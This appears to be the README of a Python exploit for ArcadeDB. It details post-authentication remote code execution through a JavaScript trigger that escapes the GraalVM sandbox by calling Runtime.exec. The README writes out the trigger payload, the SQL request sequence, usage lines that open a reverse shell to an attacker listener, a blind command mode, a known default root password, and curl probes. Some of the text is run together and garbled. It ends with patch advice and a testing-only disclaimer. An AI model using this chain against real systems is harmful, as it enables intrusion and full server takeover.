
Post-auth RCE exploit for ArcadeDB via JavaScript trigger GraalVM sandbox escape, executing OS commands over HTTP API with reverse shell or blind command modes.
Post-authentication remote code execution in ArcadeDB (a Java multi-model database) via a JAVASCRIPT trigger that reaches host classes.
A trigger's GraalVM polyglot engine is built with a host-class allow-list that includes
java.lang.* (ScriptTriggerExecutor.setAllowedPackages), so a trigger script can call:
Java.type("java.lang.Runtime").getRuntime().exec(["/bin/bash","-c","<cmd>"]);
allowCreateProcess(false) does not block it — Runtime.exec is a host method call
permitted by HostAccess.ALL, not GraalVM's guest process API. Creating a trigger needs only the
UPDATE_SCHEMA permission (weaker than the that gates direct scripting), so
can do it — a RCE over the HTTP API.
UPDATE_SECURITYroot< 26.7.2 (0 – 26.7.1)26.7.2 (removes java.lang.* from the trigger allow-list + adds a literal
HostClassLookupFilter with a process/reflection/classloader deny-list)2480 (HTTP API + Studio; Basic auth)The direct
language:jscommand path is not the vector — it has no allowed packages (Java.typeblocked) and is gated behindUPDATE_SECURITY. Only the trigger executor hard-codesjava.lang.*.
Python 3 standard library only — no dependencies. Valid ArcadeDB credentials with UPDATE_SCHEMA
(e.g. root). ArcadeDB has no hard-coded default password, but its own docker-compose.yml ships
the example root:playwithdata, which is a common leave-in-place credential.
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://10.10.10.10:2480/ --shell 10.10.14.5:4444
# blind command
python3 exploit.py http://10.10.10.10:2480/ -c 'id > /tmp/pwned'
# custom credentials / database
python3 exploit.py http://10.10.10.10:2480/ --shell 10.10.14.5:4444 -U root -P playwithdata -d mydb
Three authenticated POST /api/v1/command/<db> requests (language:sql):
CREATE DOCUMENT TYPE PwnCREATE TRIGGER pwn BEFORE CREATE ON TYPE Pwn EXECUTE JAVASCRIPT 'var p=Java.type("java.lang.Runtime").getRuntime().exec(["/bin/bash","-c","echo <b64>|base64 -d|bash"]); true;'INSERT INTO Pwn SET x = 1 — the BEFORE CREATE trigger fires and the JavaScript executes.The OS command is base64-wrapped so the JavaScript/SQL/JSON layers need no nested-quote escaping,
and the script omits waitFor() so exec returns immediately (the child keeps running, the
request doesn't block).
curl -s -o /dev/null -w '%{http_code}\n' http://10.10.10.10:2480/api/v1/databases # 401 -> ArcadeDB HTTP API
curl -s -u root:playwithdata http://10.10.10.10:2480/api/v1/databases # lists databases
Upgrade to ArcadeDB ≥ 26.7.2, set a strong rootPassword (never playwithdata), don't run
ArcadeDB as root, restrict UPDATE_SCHEMA, and keep the HTTP API/Studio off untrusted networks.
For authorized security testing and education only. Use it only against systems you own or have explicit permission to test.